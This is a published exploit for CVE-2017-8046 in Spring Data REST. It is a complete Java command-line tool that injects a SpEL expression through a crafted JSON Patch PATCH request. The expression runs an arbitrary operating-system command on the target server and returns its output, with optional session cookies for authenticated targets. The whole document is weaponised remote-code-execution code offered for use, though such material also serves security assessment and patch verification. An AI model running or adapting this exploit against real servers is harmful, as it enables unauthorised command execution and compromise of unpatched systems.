Spring Data REST 2.6.9 (Ingalls SR9) 3.0.1 (Kay SR1) - PATCH Request Remote Code Execution

// Exploit Title: RCE in PATCH requests in Spring Data REST
// Date: 2018-03-10
// Exploit Author: Antonio Francesco Sardella
// Vendor Homepage: https://pivotal.io/
// Software Link: https://projects.spring.io/spring-data-rest/
// Version: Spring Data REST versions prior to 2.6.9 (Ingalls SR9), 3.0.1 (Kay SR1)
// Tested on: 'Microsoft Windows 7' and 'Xubuntu 17.10.1' with 'spring-boot-starter-data-rest' version '1.5.6.RELEASE'
// CVE: CVE-2017-8046
// Category: Webapps
// Repository: https://github.com/m3ssap0/spring-break_cve-2017-8046
// Example Vulnerable Application: https://github.com/m3ssap0/SpringBreakVulnerableApp
// Vulnerability discovered and reported by: Man Yue Mo from Semmle and lgtm.com

package com.afs.exploit.spring;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URI;
import java.net.URISyntaxException;

import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPatch;
import org.apache.http.entity.StringEntity;
import org.apache.http.impl.client.HttpClientBuilder;

/**
 * This is a Java program that exploits Spring Break vulnerability (CVE-2017-8046).
 * This software is written to have as less external dependencies as possible.
 * DISCLAIMER: This tool is intended for security engineers and appsec guys for security assessments. Please
 * use this tool responsibly. I do not take responsibility for the way in which any one uses this application.
 * I am NOT responsible for any damages caused or any crimes committed by using this tool.
 * ..................
 * . CVE-ID ........: CVE-2017-8046
 * . Link ..........: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
 * . Description ...: Malicious PATCH requests submitted to spring-data-rest servers in Pivotal Spring Data REST
 * .................. versions prior to 2.5.12, 2.6.7, 3.0 RC3, Spring Boot versions prior to 2.0.0M4, and Spring
 * .................. Data release trains prior to Kay-RC3 can use specially crafted JSON data to run arbitrary
 * .................. Java code.
 * ..................
 * 
 * @author Antonio Francesco Sardella
 */
public class SpringBreakCve20178046 {

    /**
     * Version string.
     */
    private static final String VERSION = "v1.0 (2018-03-10)";

    /**
     * The JSON Patch object.
     */
    private static String JSON_PATCH_OBJECT = "[{ \"op\" : \"replace\", \"path\" : \"%s\", \"value\" : \"pwned\" }]";

    /**
     * This is a way to bypass the split and 'replace'
     * logic performed by the framework on slashes.
     */
    private static String SLASH = "T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))";

    /**
     * Used to encode chars.
     */
    private static String CHAR_ENCODING = "T(java.lang.Character).toChars(%d)[0]";

    /**
     * Malicious payload.
     */
    private static String PAYLOAD;

    /**
     * Malicious payload initialization.
     */
    static {
        PAYLOAD = "T(org.springframework.util.StreamUtils).copy(";
        PAYLOAD += "T(java.lang.Runtime).getRuntime().exec(";
        PAYLOAD += "(";
        PAYLOAD += "T(java.lang.System).getProperty(\\\"os.name\\\").toLowerCase().contains(\\\"win\\\")";
        PAYLOAD += "?";
        PAYLOAD += "\\\"cmd \\\"+" + SLASH + "+\\\"c \\\"";
        PAYLOAD += ":";
        PAYLOAD += "\\\"\\\"";
        PAYLOAD += ")+";
        PAYLOAD += "%s"; // The encoded command will be placed here.
        PAYLOAD += ").getInputStream()";
        PAYLOAD += ",";
        PAYLOAD += "T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes()";
        PAYLOAD += ".getResponse().getOutputStream()";
        PAYLOAD += ").x";
    }

    /**
     * Error cause string that can be used to "clean the response."
     */
    private static String ERROR_CAUSE = "{\"cause";

    /**
     * The target URL.
     */
    private URI url;

    /**
     * The command that will be executed on the remote machine.
     */
    private String command;

    /**
     * Cookies that will be passed.
     */
    private String cookies;

    /**
     * Flag used to remove error messages in output due to
     * the usage of the exploit. It could hide error messages
     * if the request fails for other reasons.
     */
    private boolean cleanResponse;

    /**
     * Verbosity flag.
     */
    private boolean verbose;

    /**
     * Default constructor.
     */
    public SpringBreakCve20178046() {
        this.verbose = false;
        this.cleanResponse = false;
    }

    /**
     * Performs the exploit.
     * 
     * @throws IOException
     *             If something bad occurs during HTTP GET.
     */
    public void exploit() throws IOException {
        checkInput();
        printInput();
        String payload = preparePayload();
        String response = httpPatch(payload);
        printOutput(response);
    }

    /**
     * Checks the input.
     */
    private void checkInput() {
        if (this.url == null) {
            throw new IllegalArgumentException("URL must be passed.");
        }

        if (isEmpty(this.command)) {
            throw new IllegalArgumentException("Command must be passed.");
        }
    }

    /**
     * Prints input if verbose flag is true.
     */
    private void printInput() {
        if (isVerbose()) {
            System.out.println("[*] Target URL ........: " + this.url);
            System.out.println("[*] Command ...........: " + this.command);
            System.out.println("[*] Cookies ...........: " + (isEmpty(this.cookies) ? "(no cookies)" : this.cookies));
        }
    }

    /**
     * Prepares the payload.
     * 
     * @return The malicious payload that will be injected.
     */
    private String preparePayload() {
        System.out.println("[*] Preparing payload.");

        String command = encodingCommand(); // Encoding inserted command.
        String payload = String.format(PAYLOAD, command); // Preparing Java payload.
        payload = String.format(JSON_PATCH_OBJECT, payload); // Placing payload into JSON Patch object.

        if (isVerbose()) {
            System.out.println("[*] Payload ...........: " + payload);
        }

        return payload;
    }

    /**
     * Encodes the inserted command.
     * PROS: No problems in interpreting things.
     * CONS: Payload too long.
     * 
     * @return The encoded command.
     */
    private String encodingCommand() {
        StringBuffer encodedCommand = new StringBuffer("T(java.lang.String).valueOf(new char[]{");

        int commandLength = this.command.length();
        for (int i = 0; i < commandLength; i++) {
            encodedCommand.append(String.format(CHAR_ENCODING, (int) this.command.charAt(i)));
            if (i + 1 < commandLength) {
                encodedCommand.append(",");
            }
        }

        encodedCommand.append("})");

        if (isVerbose()) {
            System.out.println("[*] Encoded command ...: " + encodedCommand.toString());
        }

        return encodedCommand.toString();
    }

    /**
     * HTTP PATCH operation on the target passing the malicious payload.
     * 
     * @param payload
     *            The malicious payload.
     * @return The response as a string.
     * @throws IOException
     *             If something bad occurs during HTTP GET.
     */
    private String httpPatch(String payload) throws IOException {
        System.out.println("[*] Sending payload.");

        // Preparing PATCH operation.
        HttpClient client = HttpClientBuilder.create().build();
        HttpPatch patch = new HttpPatch(this.url);
        patch.setHeader("User-Agent", "Mozilla/5.0");
        patch.setHeader("Accept-Language", "en-US,en;q=0.5");
        patch.setHeader("Content-Type", "application/json-patch+json"); // This is a JSON Patch.
        if (!isEmpty(this.cookies)) {
            patch.setHeader("Cookie", this.cookies);
        }
        patch.setEntity(new StringEntity(payload));

        // Response string.
        StringBuffer response = new StringBuffer();

        // Executing PATCH operation.
        HttpResponse httpResponse = client.execute(patch);
        if (httpResponse != null) {

            // Reading response code.
            if (httpResponse.getStatusLine() != null) {
                int responseCode = httpResponse.getStatusLine().getStatusCode();
                System.out.println("[*] HTTP " + responseCode);
            } else {
                System.out.println("[!] HTTP response code can't be read.");
            }

            // Reading response content.
            if (httpResponse.getEntity() != null && httpResponse.getEntity().getContent() != null) {
                BufferedReader in = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
                String inputLine;

                while ((inputLine = in.readLine()) != null) {
                    response.append(inputLine);
                    response.append(System.getProperty("line.separator"));
                }
                in.close();
            } else {
                System.out.println("[!] HTTP response content can't be read.");
            }

        } else {
            System.out.println("[!] HTTP response is null.");
        }

        return response.toString();
    }

    /**
     * Prints output.
     * 
     * @param response
     *            Response that will be printed.
     */
    private void printOutput(String response) {
        if (!isEmpty(response)) {
            System.out.println("[*] vvv Response vvv");

            // Cleaning response (if possible).
            if (isCleanResponse() && response.contains(ERROR_CAUSE)) {
                String cleanedResponse = response.split("\\" + ERROR_CAUSE)[0];
                System.out.println(cleanedResponse);
            } else {
                System.out.println(response);
            }

            System.out.println("[*] ^^^ ======== ^^^");
        }
    }

    /**
     * Checks if an input string is null/empty or not.
     * 
     * @param input
     *            The input string to check.
     * @return True if the string is null or empty, false otherwise.
     */
    private boolean isEmpty(String input) {
        boolean isEmpty;

        if (input == null || input.trim().length() < 1) {
            isEmpty = true;
        } else {
            isEmpty = false;
        }

        return isEmpty;
    }

    /* Getters and setters. */

    public boolean isVerbose() {
        return verbose;
    }

    public void setVerbose(boolean verbose) {
        this.verbose = verbose;
    }

    public void setUrl(String url) throws URISyntaxException {
        if (isEmpty(url)) {
            throw new IllegalArgumentException("URL must be not null and not empty.");
        }

        this.url = new URI(url.trim());
    }

    public void setCommand(String command) {
        if (isEmpty(command)) {
            throw new IllegalArgumentException("Command must be not null and not empty.");
        }

        this.command = command.trim();
    }

    public void setCookies(String cookies) {
        if (cookies != null) {
            cookies = cookies.trim();
        }

        this.cookies = cookies;
    }

    public boolean isCleanResponse() {
        return cleanResponse;
    }

    public void setCleanResponse(boolean cleanResponse) {
        this.cleanResponse = cleanResponse;
    }

    /**
     * Shows the program help.
     */
    public static final void help() {
        System.out.println("Usage:");
        System.out.println("   java -jar spring-break_cve-2017-8046.jar [options]");
        System.out.println("Description:");
        System.out.println("   Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).");
        System.out.println("Options:");
        System.out.println("   -h, --help");
        System.out.println("      Prints this help and exits.");
        System.out.println("   -u, --url [target_URL]");
        System.out.println("      The target URL where the exploit will be performed.");
        System.out.println("      You have to choose an existent resource.");
        System.out.println("   -cmd, --command [command_to_execute]");
        System.out.println("      The command that will be executed on the remote machine.");
        System.out.println("   --cookies [cookies]");
        System.out.println("      Optional. Cookies passed into the request, e.g. authentication cookies.");
        System.out.println("   --clean");
        System.out.println("      Optional. Removes error messages in output due to the usage of the");
        System.out.println("      exploit. It could hide error messages if the request fails for other reasons.");
        System.out.println("   -v, --verbose");
        System.out.println("      Optional. Increase verbosity.");
    }

    /**
     * Main method.
     * 
     * @param args
     *            Input arguments
     */
    public static void main(String[] args) {
        try {
            System.out.println("'Spring Break' RCE (CVE-2017-8046) - " + VERSION);
            SpringBreakCve20178046 o = new SpringBreakCve20178046();

            if (args.length > 0) {
                for (int i = 0; i < args.length; i++) {

                    String p = args[i];

                    if (("-h".equals(p) || "--help".equals(p)) && i == 0) {
                        SpringBreakCve20178046.help();
                        return;
                    } else if ("-u".equals(p) || "--url".equals(p)) {

                        if (i + 1 > args.length - 1) {
                            throw new IllegalArgumentException("URL must be passed.");
                        }
                        o.setUrl(args[++i]);

                    } else if ("-cmd".equals(p) || "--command".equals(p)) {

                        if (i + 1 > args.length - 1) {
                            throw new IllegalArgumentException("Command must be passed.");
                        }
                        o.setCommand(args[++i]);

                    } else if ("--cookies".equals(p)) {

                        if (i + 1 > args.length - 1) {
                            throw new IllegalArgumentException("Cookies must be passed, if specified.");
                        }
                        o.setCookies(args[++i]);

                    } else if ("--clean".equals(p)) {
                        o.setCleanResponse(true);
                    } else if ("-v".equals(p) || "--verbose".equals(p)) {
                        o.setVerbose(true);
                    }

                }

                // Performing the exploit.
                o.exploit();

            } else { // Wrong number of arguments.
                SpringBreakCve20178046.help();
                return;
            }

        } catch (URISyntaxException use) {
            System.out.println("[!] Input error (URI syntax exception): " + use.getMessage());
        } catch (IllegalArgumentException iae) {
            System.out.println("[!] Input error (illegal argument): " + iae.getMessage());
        } catch (Exception e) {
            System.out.println("[!] Unexpected exception: " + e.getMessage());
            e.printStackTrace();
        }
    }

}